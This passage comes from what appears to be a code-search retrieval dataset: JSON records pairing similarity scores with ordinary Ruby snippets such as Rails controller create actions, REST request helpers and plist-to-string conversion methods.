)\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VouchersApi#get_vouchers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "800af807b3f1f96a200bc0b643125c68", "score": "0.5109343", "text": "def create\n name = Faker::Games::Pokemon.name\n species = [\"Mewto\", \"Mew\", \"Pikachu\", \"Bulbasaur\", \"Snorlax\", \"Charizard\", \"Weedle\", \"Ekans\", \"Persian\", \"Zubat\", \"Arcanine\"].sample\n pokemon = Pokemon.create(nickname: name, species: species, trainer_id: params[:trainer_id])\n render json: pokemon, except: [:created_at, :updated_at]\n end", "title": "" }, { "docid": "d29e3f961726a8ec00807a1e2f728cd6", "score": "0.5105515", "text": "def post_json(path, data = {})\n client(path).post_json(path, data)\n end", "title": "" }, { "docid": "1aa38874667693d81401f9dc39bc3d05", "score": "0.5103438", "text": "def create\n Upvote.create! user: current_user, post: @post\\\n unless Vote.where(user: current_user, post: @post).exists?\n\n @post.root.touch\n render json: { status: :ok }, status: :ok\n end", "title": "" }, { "docid": "43ab8a2c2e8917ac8c76f787c1f101fe", "score": "0.5101767", "text": "def create\n survivor = Survivor.new(survivor_params)\n \n if survivor.save\n render json: {\n status: 'SUCCESS',\n message: 'Survivor Saved',\n data: survivor\n }, status: :ok\n else\n render json: {\n status: 'ERROR',\n message: 'Survivor not saved',\n data: survivor.errors\n }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "ea77e6a51d7bcd75eb1a5165c1864ff4", "score": "0.5098816", "text": "def create\n Election.create!(election_params) \n response = { message: Message.election_created}\n json_response(response, :created)\n end", "title": "" }, { "docid": "d36a673e069f25db830f44f153b24588", "score": "0.5093487", "text": "def post_request(url, object)\n results = @@client.post url, object\n results.to_json\nend", "title": "" }, { "docid": "77f1b19f744de66de60cb7837c0f479f", "score": "0.5092194", "text": "def create_contact \n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts.json'\n ).to_s\n\n puts RestClient.post(\n url,\n { Contact: { name: \"Contact 1\", email: \"contact 1 email\", user_id: 2} }\n # { user: { name: \"Gizmo\", email: \"gizmo@gizmo.gizmo\" } }\n )\nend", "title": "" }, { "docid": "7acdb16652feaf175da3c582691caee5", "score": "0.5090974", "text": "def post_rest(path, json) \n run_request(:POST, create_url(path), json) \n end", "title": "" }, { "docid": "392d57b64f3001ad11a24883556b5b94", "score": "0.5089949", "text": "def create\n @api_v1_reservation = Reservation.new(reservation_params)\n if @api_v1_reservation.save\n render :show, status: :created\n else\n render json: @api_v1_reservation.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3c3b472af9f51ec47eedda4676e3f669", "score": "0.50855136", "text": "def guest_bookings(request_parameters: {})\r\n http_service.secure_request_post(\"/json/guestBookings\", request_parameters)\r\n end", "title": "" }, { "docid": "65b0133e6d6bdb597c8451ce860c25a8", "score": "0.50839525", "text": "def create\n @retailer = Retailer.new(params[:retailer])\n\n respond_to do |format|\n if @retailer.save\n format.html { redirect_to @retailer, :notice => 'Retailer was successfully created.' }\n format.json { render :json => @retailer, :status => :created, :location => @retailer }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @retailer.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a5f36e0614165fd82468556a88f052d4", "score": "0.5082563", "text": "def create\n @voyage = Voyage.new(voyage_params)\n\n respond_to do |format|\n if @voyage.save\n format.html { redirect_to @voyage, notice: \"Voyage was successfully created.\" }\n format.json { render :show, status: :created, location: @voyage }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @voyage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b9b6c4a115c7988fe1574861dafe21e1", "score": "0.50818574", "text": "def create\n @review = Review.create!(review_params)\n\n render json: @review\n end", "title": "" }, { "docid": "1cfb4187aeda54c5f1cf90783242b0f0", "score": "0.5081023", "text": "def perform_create_request(data = {})\n post_create_request(version, data)\n end", "title": "" }, { "docid": "8b49b74707c5847056297e7fe8ca266e", "score": "0.5079246", "text": "def create\n @volunteer = Volunteer.new(volunteer_params)\n @volunteer.user = current_user\n\n if @volunteer.save\n tags = (params[:tags] || \"\").split(', ')\n @volunteer.tags = Tag.where(id: tags, category: 'volunteer')\n if @volunteer.save\n render :show, status: :created, location: @volunteer\n else\n render json: { errors: @volunteer.errors }, status: :unprocessable_entity\n end\n else\n render json: { errors: @volunteer.errors }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "848b293e6e9a5415f6c3a4aeb624c624", "score": "0.50755066", "text": "def create\n @volunteer = Volunteer.new(params[:volunteer])\n\n respond_to do |format|\n if @volunteer.save\n format.html { redirect_to @volunteer, notice: 'Volunteer was successfully created.' }\n format.json { render json: @volunteer, status: :created, location: @volunteer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @volunteer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fe17c59a25bddba94a6bbea471e7d929", "score": "0.5073779", "text": "def index\n @recruiters = Recruiter.all\n\n render json: @recruiters\n end", "title": "" }, { "docid": "2868ff5ae1aeb4c85937866f829607d3", "score": "0.5073677", "text": "def create\n collected_data = JSON.parse params[\"collected_data\"]\n new_signer_params = {\n name: collected_data[\"name\"],\n town: collected_data[\"DATA_PROMPT_1\"],\n mobile: collected_data[\"SRC\"],\n signed: collected_data[\"ANSWER\"]\n }\n @signer = Signer.new(new_signer_params)\n respond_to do |format|\n if @signer.save\n render :nothing => true\n else\n render json: @signer.errors, status: :unprocessable_entity\n end\n end\n end", "title": "" }, { "docid": "b8ab10daf82b868e4fcbf938996d6629", "score": "0.50707585", "text": "def create\n @voter = Voter.new(params[:voter])\n\n respond_to do |format|\n if @voter.save\n format.html { redirect_to(@voter, :notice => 'Voter was successfully created.') }\n format.xml { render :xml => @voter, :status => :created, :location => @voter }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @voter.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b4587e5069ecb5c57ad3659e7756915", "score": "0.5065794", "text": "def create\n @sprayer = Sprayer.new(sprayer_params)\n\n respond_to do |format|\n if @sprayer.save\n format.html { redirect_to @sprayer, notice: 'Sprayer was successfully created.' }\n format.json { render :show, status: :created, location: @sprayer }\n else\n format.html { render :new }\n format.json { render json: @sprayer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
a7566bb9b93b7daa046a2d7fe0c4a38c
convert a plist to string
[ { "docid": "12bcbf0dd71e76cf86d8980530b496ff", "score": "0.0", "text": "def to_str(opts={})\n return true\n end", "title": "" } ]
[ { "docid": "7b1577b5aa7fb65b8f056ecad571deaf", "score": "0.6703861", "text": "def to_plist_node\n content = []\n content << \"<dict>\\n\"\n content << @plist.collect {|k,v| [\"<key>#{k}</key>\\n\", Plist::Emit::plist_node(v)] }\n content << \"</dict>\\n\"\n content.flatten.join\n end", "title": "" }, { "docid": "c81fa892ed3c4f0b441524a54b5b36fd", "score": "0.6226", "text": "def to_plist\n plist = serialize_for_plist.to_plist\n # Fix ^M encoding CR issue\n plist.gsub(/\\r\\n?/, \"\\n\")\n end", "title": "" }, { "docid": "c81fa892ed3c4f0b441524a54b5b36fd", "score": "0.6226", "text": "def to_plist\n plist = serialize_for_plist.to_plist\n # Fix ^M encoding CR issue\n plist.gsub(/\\r\\n?/, \"\\n\")\n end", "title": "" }, { "docid": "c81fa892ed3c4f0b441524a54b5b36fd", "score": "0.6226", "text": "def to_plist\n plist = serialize_for_plist.to_plist\n # Fix ^M encoding CR issue\n plist.gsub(/\\r\\n?/, \"\\n\")\n end", "title": "" }, { "docid": "23558d5fe88035019f6344d5c9297925", "score": "0.62097967", "text": "def to_plist\n serialize_for_plist.to_plist\n end", "title": "" }, { "docid": "5a5a5d5e6a8f6bf416197b83e8272a32", "score": "0.6075505", "text": "def to_plist\n to_hash.to_plist\n end", "title": "" }, { "docid": "5fc217757c12755860c98241a34407aa", "score": "0.6063193", "text": "def to_plist_node\n Plist::Emit.plist_node(to_s)\n end", "title": "" }, { "docid": "c237dccc904ce2716bd3c84df5cc2218", "score": "0.5900395", "text": "def to_plist(options = {})\n options = { :root => Rabl.configuration.include_plist_root }.merge(options)\n result = to_dumpable(options)\n Rabl.configuration.plist_engine.dump(result)\n end", "title": "" }, { "docid": "dd252ed1a57917da1842d939c8fd5537", "score": "0.5847671", "text": "def info_plist_to_hash(path)\n require 'json'\n JSON.parse! %x[plutil -convert json -o - #{path}]\nend", "title": "" }, { "docid": "8050efbab8d7cd4b71649bc37b0df6d7", "score": "0.5814764", "text": "def write_plist_file(plist, file_path, format = :xml)\n begin\n plist_to_save = CFPropertyList::List.new\n plist_to_save.value = CFPropertyList.guess(plist)\n plist_to_save.save(file_path, to_format(format), :formatted => true)\n rescue IOError => e\n Puppet.err(_(\"Unable to write the file %{file_path}. %{error}\") % { file_path: file_path, error: e.inspect })\n end\n end", "title": "" }, { "docid": "708dd3c0a3eaf1fc3e10428cea45b736", "score": "0.5796858", "text": "def create_plist(path)\n File.open(path, 'w') do |file|\n file.puts \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\"\n file.puts \"<!DOCTYPE plist PUBLIC \\\"-//Apple//DTD PLIST 1.0//EN\\\" \\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\">\"\n file.puts \"<plist version=\\\"1.0\\\">\"\n file.puts '<dict>'\n file.puts '</dict>'\n file.puts '</plist>'\n end\n path\n end", "title": "" }, { "docid": "2375a02724045e42e0c19972ff38b1d2", "score": "0.57668334", "text": "def save_plist(obj, filename, options = T.unsafe(nil)); end", "title": "" }, { "docid": "1771be7750a971047a45ade61f012c59", "score": "0.5766723", "text": "def to_plist(options = T.unsafe(nil)); end", "title": "" }, { "docid": "1771be7750a971047a45ade61f012c59", "score": "0.5766723", "text": "def to_plist(options = T.unsafe(nil)); end", "title": "" }, { "docid": "1771be7750a971047a45ade61f012c59", "score": "0.5766723", "text": "def to_plist(options = T.unsafe(nil)); end", "title": "" }, { "docid": "a859e99cb2765c4d52180337b6139b2c", "score": "0.5751898", "text": "def to_s(path = nil)\n\t str_ = @str.map(&:dup)\n\t if path\n\t raise ArgumentError, \n\t \"Input must be an Array.\\n\" +\n\t \"Received a #{path.class}\" unless path.is_a? Array\n\t for n in path[0...path.size-1] \n\t raise ArgumentError,\n\t \"Input must contain all Nodes.\\n\" +\n\t \"Received a #{n.class}\" unless n.is_a? Node\n\t str_[n.r][n.c] = @p\n\t end\n\t end\n\t str_ = str_.map { |l| l.join}\n\t return str_\n\t end", "title": "" }, { "docid": "a7beee4cd8e43a36f76926f846f237ac", "score": "0.57504946", "text": "def prefs_to_s\n prefs_s = \"\"\n @constraints.each{|c| prefs_s += \" #{c}:#{pref_to_s(c)}\"}\n prefs_s.lstrip! # remove the leading space from the string\n \"#{prefs_s}\" \n end", "title": "" }, { "docid": "c7e3e135ca63179b9a74a030a819b829", "score": "0.5737462", "text": "def to_s\n raise RuntimeError, \"invalid dpn info txt!\" unless valid?\n out = []\n @non_array_keys.each do |key|\n key = key.to_sym\n name = Bookbag::Settings[:bag][:dpn_info][key][:name]\n out << \"#{name}: #{@info[key]}\"\n end\n @array_keys.each do |key|\n key = key.to_sym\n name = Bookbag::Settings[:bag][:dpn_info][key][:name]\n if @info[key].size > 0\n @info[key].each do |value|\n out << \"#{name}: #{value}\"\n end\n else\n out << \"#{name}:\"\n end\n end\n return out.join(\"\\n\")\n end", "title": "" }, { "docid": "3a100ca3b53c6e2fb703a7b20c1e1f3b", "score": "0.5722201", "text": "def asPPString\n map = @map.reject {|kv| kv[1].is_a? Proc}\n s = StringIO.new\n s.print \"{\\n :maptype=>:multi,\\n :mapname=>\"\n PP.singleline_pp(@mapname, s)\n s.print \",\\n :map => \"\n PP.pp(map, s)\n s.puts \"\\n}\"\n return s.string\n end", "title": "" }, { "docid": "84f8c5ae8b92439ffbc474f4ea349334", "score": "0.56703204", "text": "def to_s() @list.to_s ; end", "title": "" }, { "docid": "ef1b6be9d817ba4453c2e5ef28957a34", "score": "0.5659779", "text": "def to_s\n strings = @list.each_with_object([]) do |entry, strlist|\n strlist.push line_string(entry)\n end\n strings.join(\"\\n\")\n end", "title": "" }, { "docid": "074be0f5207b035465ac94d30a237255", "score": "0.5645658", "text": "def list_to_string_when_hash(list)\n keys = list.keys\n array = []\n keys.each do |key|\n array << list[key]\n end\n list_to_string(array)\nend", "title": "" }, { "docid": "caab078e586730850f3cc916688bda1f", "score": "0.5636584", "text": "def to_s\n string = \"\"\n # Sort to make testing easier -> output will consistent\n @props.sort_by do |key,val|\n key.to_s\n end.each do |key,val|\n\tstring << Encoding.encode(key.to_s) << \"=\" << Encoding.encode(val) << \"\\n\"\n end\n string\n end", "title": "" }, { "docid": "49d52789b85d66277aea6f34145c0b2a", "score": "0.5633608", "text": "def save\n File.open(plist_path, 'w') do |file|\n file.puts properties.to_plist\n end\n end", "title": "" }, { "docid": "ca2864b33791cd03cc0fee1a6e1531a9", "score": "0.563286", "text": "def to_s\n\t\tret = \"\"\n\t\t@corpus.each_pair do |key, value|\n\t\t\tret << \"[#{key[0].to_s},#{key[1].to_s}] => [\"\n\t\t\tfor word in value do ret << word + \",\" end\n\t\t\tret.chop!\n\t\t\tret << \"], \"\n\t\tend\n\t\tret.chop.chop\n\tend", "title": "" }, { "docid": "9e653818992c6d730ace1ea68a78fe89", "score": "0.5611813", "text": "def to_s(depth=0)\n result = ''\n @properties.each_pair do |key, value|\n indent = ' ' * (depth*4)\n if value.is_a?(VyOSConfig)\n if value.properties.nil?\n result += indent + \"#{key}\\n\"\n else\n result += indent + \"#{key} {\\n\"\n result += value.to_s(depth + 1)\n result += indent + \"}\\n\"\n end\n elsif value.is_a?(Array)\n escape_values(value).each do |v|\n result += indent + \"#{key} #{v}\\n\"\n end\n end\n end\n result\n end", "title": "" }, { "docid": "b7d4c5a0f0c25df73eaceae9b46b7eb0", "score": "0.55969304", "text": "def to_s\n i = 0\n temp = \"\"\n for pk in @pl\n i += 1\n temp += i.to_s + \". \" + pk[0] + \"\\n\"\n end\n temp\n end", "title": "" }, { "docid": "3c6ac45d262abaef2f11d48ec8a50006", "score": "0.5570796", "text": "def to_plist_node\n Plist::Emit.plist_node(self.to_s)\n end", "title": "" }, { "docid": "16b846902841b97ac9a4f077c5b0abfc", "score": "0.5551135", "text": "def to_s\n output = \"\"\n @sections.each do |k,v|\n output << \"[#{k}]\\n\"\n output << v.to_s\n end\n output\n end", "title": "" }, { "docid": "3aaaede70c677ba8b80e43bb4b456cf9", "score": "0.55363053", "text": "def to_s\n\t\t\t\tr = ''\n\t\t\t\teach do |key, value|\n\t\t\t\t\tr << value.to_s\n\t\t\t\tend\n\t\t\t\tr\n\t\t\tend", "title": "" }, { "docid": "8f9a23ee27203f52dad55955ab98ce06", "score": "0.55066216", "text": "def to_property_dict_string(array_of_dict_propertes)\n ([\"{\"] + array_of_dict_propertes + [\"}\", nil]).join(\"\\n\")\n end", "title": "" }, { "docid": "32362ebfffc719edcaa2cede54c6edee", "score": "0.5502075", "text": "def to_s\n str = ''\n @conf.each_key() do |section|\n str << '[' << section.to_s() << \"]\\n\"\n @conf[section].each() do |option, value|\n val = value.to_s()\n # If the value is only whitespaces or begin like a comment, quote it.\n val = '\"' + val + '\"' if val.strip.empty? || val =~ /^(;|#)/\n str << option.to_s() << @delimiter << val << \"\\n\"\n end\n end\n return str\n end", "title": "" }, { "docid": "1c8ac62eb76219c0779f153da32a4868", "score": "0.5483016", "text": "def to_s\n\t\t\tstring = \"\"\n\t\t\t@lista.each do |i|\n\t\t\t\tstring << i.to_s\n\t\t\t\tstring << \"\\n\"\n\t\t\tend\n\t\t\treturn string\n\t\tend", "title": "" }, { "docid": "1bba84c2dcd1419f118094b83a858404", "score": "0.5480418", "text": "def to_s\n lines = String.new\n @proteins.values.each {|p| \n p.clans = @clans\n p.names = @names\n lines += p.to_s\n }\n return lines\n end", "title": "" }, { "docid": "ea1a584fbf11d4cba71dbe7bd8af0d7a", "score": "0.54576117", "text": "def to_s\n\n str = \"\"\n\n @ary.each do |node|\n if node.next_node.nil?\n str += \"(#{node.value}) -> nil\"\n else\n str += \"(#{node.value}) -> \"\n end\n end\n\n return str\n\n end", "title": "" }, { "docid": "64c07ec5785fa9b08299d646abfc7622", "score": "0.5443489", "text": "def to_s\n list.map { |item| stringify_line(item) }.join(\"\\n\")\n end", "title": "" }, { "docid": "2e208f927a6fd1da2aea3b6ad143a217", "score": "0.54398817", "text": "def to_s\n @mapa.each_pair do |key, value|\n end\n end", "title": "" }, { "docid": "d53bd34e7af85e3810f81b5619d81a66", "score": "0.54365253", "text": "def to_plist(envelope = T.unsafe(nil), options = T.unsafe(nil)); end", "title": "" }, { "docid": "8182e11d12a2785ccf2b73d73ffe3b36", "score": "0.5431305", "text": "def to_s\n \"+%s\\t%s\" % [facts, filename]\n end", "title": "" }, { "docid": "b3fc79fb0aa6f424ba35648641ffa5bb", "score": "0.5420542", "text": "def to_s\n result = ''\n namelists.each do |namelist|\n result += \"\\n&#{namelist}\\n\"\n result += @to_write[namelist].join(\"\")\n result += \"\\n/ ! end of #{namelist} namelist\\n\"\n end\n result.sub(\"\\n\\n\\n\", \"\\n\\n\")\n end", "title": "" }, { "docid": "405ccff5247a3f2a896553e18a3541a0", "score": "0.54204494", "text": "def to_s\n s = \"\"\n items.each do |i|\n s << i.to_s(:timestamp => (timestamps_verbatim ? :original : :reparsed))\n end\n s\n end", "title": "" }, { "docid": "a53cdd4e81f68dcbbdb9574f08c9e8db", "score": "0.53961587", "text": "def to_string\n\t\tlist\n\tend", "title": "" }, { "docid": "1418355662d1a487de8364d1b153e69f", "score": "0.53664285", "text": "def hash_to_string_collection(value)\n parse_collection(value).collect(&:to_s)\n end", "title": "" }, { "docid": "b0e2ebab41649c37815e9374c97e03c5", "score": "0.53640497", "text": "def to_s\n @pons.map {|item| item.to_s}\n end", "title": "" }, { "docid": "d2085a08d5dd5e1050c651e1cae85f5e", "score": "0.53623503", "text": "def to_s\n\t\tstr = \"\"\n\t\teach do |key, value|\n\t\t\tstr << \"[ #{key}: #{value} ]->\"\n\t\tend\n\t\tstr[0..-3]\n\tend", "title": "" }, { "docid": "a8f5e9e274702560b6f3148e19537c56", "score": "0.5353345", "text": "def to_s\n txt = []\n @configs.each do |c|\n txt << c.to_s #if c.text\n end\n txt.join(\"\\n\\n\")\n end", "title": "" }, { "docid": "e3d1ad576b2708bd745aa5ff30c89a1e", "score": "0.53488976", "text": "def save_plist(filename, format = :xml)\n Plist::Emit.save_plist(self, filename, format)\n end", "title": "" }, { "docid": "46fc03101d4b0ce5bd98f36c870c4215", "score": "0.5347604", "text": "def to_s\n str = \"\"\n inihash.each do |key, value|\n if value.is_a? Hash\n str << \"[#{key.to_s}]\\n\"\n value.each do |under_key, under_value|\n str << \"#{under_key.to_s}=#{under_value.to_s unless under_value.nil?}\\n\"\n end\n else\n str << \"#{key.to_s}=#{value.to_s unless value.nil?}\\n\"\n end\n end\n str\n end", "title": "" }, { "docid": "5dcea1e7520713caf37c832491a3b1a6", "score": "0.5336064", "text": "def to_s(path = nil)\n str_ = @str.map(&:dup)\n if path\n raise ArgumentError, \n \"Input must be an Array.\\n\" +\n \"Received a #{path.class}\" unless path.is_a? Array\n for n in path[0...path.size-1] \n raise ArgumentError,\n \"Input must contain all Nodes.\\n\" +\n \"Received a #{n.class}\" unless n.is_a? Node\n str_[n.r][n.c] = @p.yellow\n end\n end\n str_ = str_.map { |l| l.join}\n return str_\n end", "title": "" }, { "docid": "9de12128168ed0713e81d00d4065d244", "score": "0.5332741", "text": "def to_s\n\t return \"\" if @root == nil\n\t a = []\n\t walk {|n| a << n.value.to_s }\n\t a.join(\", \")\n end", "title": "" }, { "docid": "ea4b2d24fc86d10ba3cb97b34fc23e4f", "score": "0.53259534", "text": "def to_s\n\t\tstr = \"\"\n\t\t@vertexList.sort!\n\t\t\n\t\t@vertexList.each do |v|\n\t\t\tstr << \"[#{v}] -> \"\n\t\t\tif @mainArray[v] == nil\n\t\t\t\tstr << \"/ \\n\"\n\t\t\telse\n\t\t\t\tstr << @mainArray[v].to_s\n\t\t\tend\n\t\tend\n\t\t\n\t\tstr\n\tend", "title": "" }, { "docid": "0bc49dd2254c7121e963750f48f791cc", "score": "0.53225136", "text": "def to_s\n strings = @list.each_with_object([header_string]) do |entry, strlist|\n strlist.push line_string(entry)\n end\n strings.join(\"\\n\")\n end", "title": "" }, { "docid": "1e95e3e1e07d6660d45577ec56ce4b08", "score": "0.53223664", "text": "def to_s\n s = self[:name] + ' ['\n props.each {|k, v| s += \"#{k}=\\\"#{v}\\\", \"}\n s.chomp(', ') + '];'\n end", "title": "" }, { "docid": "17ee24cf30a4faa9c1e6baf2cecc8c65", "score": "0.5319652", "text": "def to_s\n contents.flatten.join\n end", "title": "" }, { "docid": "cbf1f52095b180ae35c66ff8d1cc66a7", "score": "0.53149", "text": "def items_to_string()\n desc = \"{\"\n @items.each_with_index do |item, index|\n desc += \"\\\"#{index}\\\":#{item.to_string}\"\n if (@items.length - 1) != index\n desc += \",\"\n end\n end\n desc += \"}\"\n return desc\n end", "title": "" }, { "docid": "cbf1f52095b180ae35c66ff8d1cc66a7", "score": "0.53149", "text": "def items_to_string()\n desc = \"{\"\n @items.each_with_index do |item, index|\n desc += \"\\\"#{index}\\\":#{item.to_string}\"\n if (@items.length - 1) != index\n desc += \",\"\n end\n end\n desc += \"}\"\n return desc\n end", "title": "" }, { "docid": "f8a2c622d3fef5d11725fce6b00f333e", "score": "0.53143793", "text": "def to_s()\n\t\tcontenu = \"\"\n\t\t@listeParties.each do |partie| \n\t\t\tcontenu = contenu +\"\\n\"+ partie.to_s()\n\t\tend\n\t\treturn contenu\n\tend", "title": "" }, { "docid": "d1a22fd0070e2c2d16b92adec2922cf8", "score": "0.5291191", "text": "def to_s(file=nil)\n s_rec(Array.new(0), @root, file).flatten\n end", "title": "" }, { "docid": "23847b0c58ee515bf271ce2c1e54c30d", "score": "0.5280207", "text": "def to_s\n \"{#{@name};#{@file}}\"\n end", "title": "" }, { "docid": "23847b0c58ee515bf271ce2c1e54c30d", "score": "0.5280207", "text": "def to_s\n \"{#{@name};#{@file}}\"\n end", "title": "" }, { "docid": "49cc21ab3022a45fe890761598ae56e7", "score": "0.5276173", "text": "def to_s\n @dict.map do |key, value|\n \"- #{key}: #{value}\"\n end.join(\"\\n\")\n end", "title": "" }, { "docid": "22983143527cce9ff81e05ef0a0447b8", "score": "0.5271519", "text": "def write\n write_utf8\n write_object(@plist.root_object)\n write_newline\n end", "title": "" }, { "docid": "f544fb8d8fef3210bee1e58d3708fe0e", "score": "0.52632093", "text": "def to_s\n inject([]) { |acc, node| acc << \"[#{node.key}, #{node.val}]\" }.join(\", \")\n end", "title": "" }, { "docid": "f544fb8d8fef3210bee1e58d3708fe0e", "score": "0.52632093", "text": "def to_s\n inject([]) { |acc, node| acc << \"[#{node.key}, #{node.val}]\" }.join(\", \")\n end", "title": "" }, { "docid": "f544fb8d8fef3210bee1e58d3708fe0e", "score": "0.52632093", "text": "def to_s\n inject([]) { |acc, node| acc << \"[#{node.key}, #{node.val}]\" }.join(\", \")\n end", "title": "" }, { "docid": "f544fb8d8fef3210bee1e58d3708fe0e", "score": "0.52632093", "text": "def to_s\n inject([]) { |acc, node| acc << \"[#{node.key}, #{node.val}]\" }.join(\", \")\n end", "title": "" }, { "docid": "f544fb8d8fef3210bee1e58d3708fe0e", "score": "0.52632093", "text": "def to_s\n inject([]) { |acc, node| acc << \"[#{node.key}, #{node.val}]\" }.join(\", \")\n end", "title": "" }, { "docid": "f544fb8d8fef3210bee1e58d3708fe0e", "score": "0.52632093", "text": "def to_s\n inject([]) { |acc, node| acc << \"[#{node.key}, #{node.val}]\" }.join(\", \")\n end", "title": "" }, { "docid": "f544fb8d8fef3210bee1e58d3708fe0e", "score": "0.52632093", "text": "def to_s\n inject([]) { |acc, node| acc << \"[#{node.key}, #{node.val}]\" }.join(\", \")\n end", "title": "" }, { "docid": "f544fb8d8fef3210bee1e58d3708fe0e", "score": "0.52632093", "text": "def to_s\n inject([]) { |acc, node| acc << \"[#{node.key}, #{node.val}]\" }.join(\", \")\n end", "title": "" }, { "docid": "cdf799f5f05d7ef884324fcb44de110c", "score": "0.5256616", "text": "def parameter_to_s(p = nil)\n p ||= @parameter\n p.collect{|x| x.to_s}.join(', ')\n end", "title": "" }, { "docid": "cea1f7f8364a045b9042990970fd2246", "score": "0.5248848", "text": "def to_gnustep\n @plist_cache.to_gnustep\n end", "title": "" }, { "docid": "a2d3be26982282e502deed2e631b2168", "score": "0.52376205", "text": "def plist_blob(string)\n string = [string].pack('H*')\n #string = [string]\n string.blob = true\n string\n\tend", "title": "" }, { "docid": "b790ed86038be8334c95dc8c2be615f5", "score": "0.5228315", "text": "def userdata2string(userdata)\n userdata = deep_copy(userdata)\n Builtins.mergestring(Builtins.maplist(userdata) do |key, val|\n Builtins.sformat(\"%1=%2\", key, val)\n end, \",\")\n end", "title": "" }, { "docid": "45317795464629ca49eea9515ec77d36", "score": "0.522818", "text": "def to_s()\n\t\tret = \"\"\n\t\tself.each_pair do |key, val|\n\t\t\tret += \"#{key}: #{val}\\n\"\n\t\tend\n\t\treturn ret\n\tend", "title": "" }, { "docid": "c532114eb6f8742a8f63d65fb1e6a379", "score": "0.52124214", "text": "def to_s\n tags = []\n\n tags << \"v=#{@v}\" if @v\n tags << \"p=#{@p}\" if @p\n tags << \"sp=#{@sp}\" if @sp\n tags << \"rua=#{@rua.join(',')}\" if @rua\n tags << \"ruf=#{@ruf.join(',')}\" if @ruf\n tags << \"adkim=#{@adkim}\" if @adkim\n tags << \"aspf=#{@aspf}\" if @aspf\n tags << \"ri=#{@ri}\" if @ri\n tags << \"fo=#{@fo.join(':')}\" if @fo\n tags << \"rf=#{@rf}\" if @rf\n tags << \"pct=#{@pct}\" if @pct\n\n return tags.join('; ')\n end", "title": "" }, { "docid": "8709ab12e01e352f66262a677ed56ebc", "score": "0.52057594", "text": "def plist\n <<~EOS\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n <plist version=\"1.0\">\n <dict>\n <key>Label</key>\n <string>#{plist_name}</string>\n <key>Program</key>\n <string>#{opt_bin}/asimov</string>\n <key>StartInterval</key>\n <!-- 24 hours = 60 * 60 * 24 -->\n <integer>86400</integer>\n </dict>\n </plist>\n EOS\n end", "title": "" }, { "docid": "c11f53fdc78cf17de7b14335304c825d", "score": "0.52003837", "text": "def to_s\n i = 0\n temp = ''\n @pl.each do |pk|\n i += 1\n temp += i.to_s + '. ' + pk.name + \"\\n\"\n end\n temp\n end", "title": "" }, { "docid": "cc3a6f9c17ab0be72116351bf1ee10d8", "score": "0.5185462", "text": "def to_s\n str = \"\"\n @configurations.each_pair {|key, value| str << \"#{key}: #{value}\\n\" }\n str\n end", "title": "" }, { "docid": "9ffb4d5be1111e2408a11f41f9884c01", "score": "0.51842976", "text": "def to_s\r\n LocalFileSystemEntry.to_s(path)\r\n end", "title": "" }, { "docid": "ebdc7c05859db28457f2e495e4462987", "score": "0.5182445", "text": "def plist_path\n plist_dir.join \"#{label}.plist\"\n end", "title": "" }, { "docid": "d599069de11d9f41bd52b4fa7b18711d", "score": "0.5171819", "text": "def to_s\n recursive_to_a.to_s.tr('[]', '{}')\n end", "title": "" }, { "docid": "eda9215770628c3f529629a1bc465cef", "score": "0.51569754", "text": "def to_string(phrases, separator = \"\\n\")\n phrases.join(separator).inspect\n end", "title": "" }, { "docid": "50ba310ff15b152f37378e097e9aaa23", "score": "0.51562804", "text": "def to_s\n string_out=''\n if self.size >1\n self.each_pair {|key,val| string_out+=\"#{key}=#{val}\\n\"}\n else\n string_out=\"#{self.keys[0]}=#{self.values[0]}\"\n end\n return string_out\n end", "title": "" }, { "docid": "a018b46185a032ea2d7f966f50775c7b", "score": "0.5145925", "text": "def to_s \n @list.each do |name|\n name.to_s\n end\n end", "title": "" }, { "docid": "d0828c0ea845b28f7dc074e24ec3a454", "score": "0.5134415", "text": "def asPPString\n s = StringIO.new\n s.print \"{\\n :solrField=> \"\n PP.singleline_pp(@solrField, s)\n s.print(\",\\n \")\n s.print \":firstOnly => true,\\n \" if @first\n if @defaultValue\n s.print(\":default => \")\n PP.singleline_pp(@defaultValue, s)\n s.print(\",\\n \")\n end\n if @map\n s.print(\":mapname => \")\n PP.singleline_pp(@map.mapname, s)\n s.print(\",\\n \")\n end\n if @noMapKeyDefault\n s.print(\":noMapKeyDefault => \")\n PP.singleline_pp(@noMapKeyDefault, s)\n s.print(\",\\n \")\n end\n \n s.print(\":module => \")\n PP.singleline_pp(@module, s)\n s.print(\",\\n :functionSymbol => \")\n PP.singleline_pp(@functionSymbol, s)\n if @functionArgs\n s.print(\",\\n :functionArgs => \")\n PP.singleline_pp(@functionArgs, s)\n end\n s.print \"\\n}\"\n return s.string\n end", "title": "" }, { "docid": "15968a33c079f19bed80de8636658866", "score": "0.51340044", "text": "def to_s(file = T.unsafe(nil)); end", "title": "" }, { "docid": "d4344615e8e1e70dd2eafbea8b9aa1f5", "score": "0.5133662", "text": "def to_s\n vals = ''\n iterate do |i, prev, current|\n vals += ', ' unless prev.nil?\n vals += Pretty.pp(current.value)\n end\n \"[#{vals}]\"\n end", "title": "" }, { "docid": "705a3f7f752480ff8363fb0b34a3127a", "score": 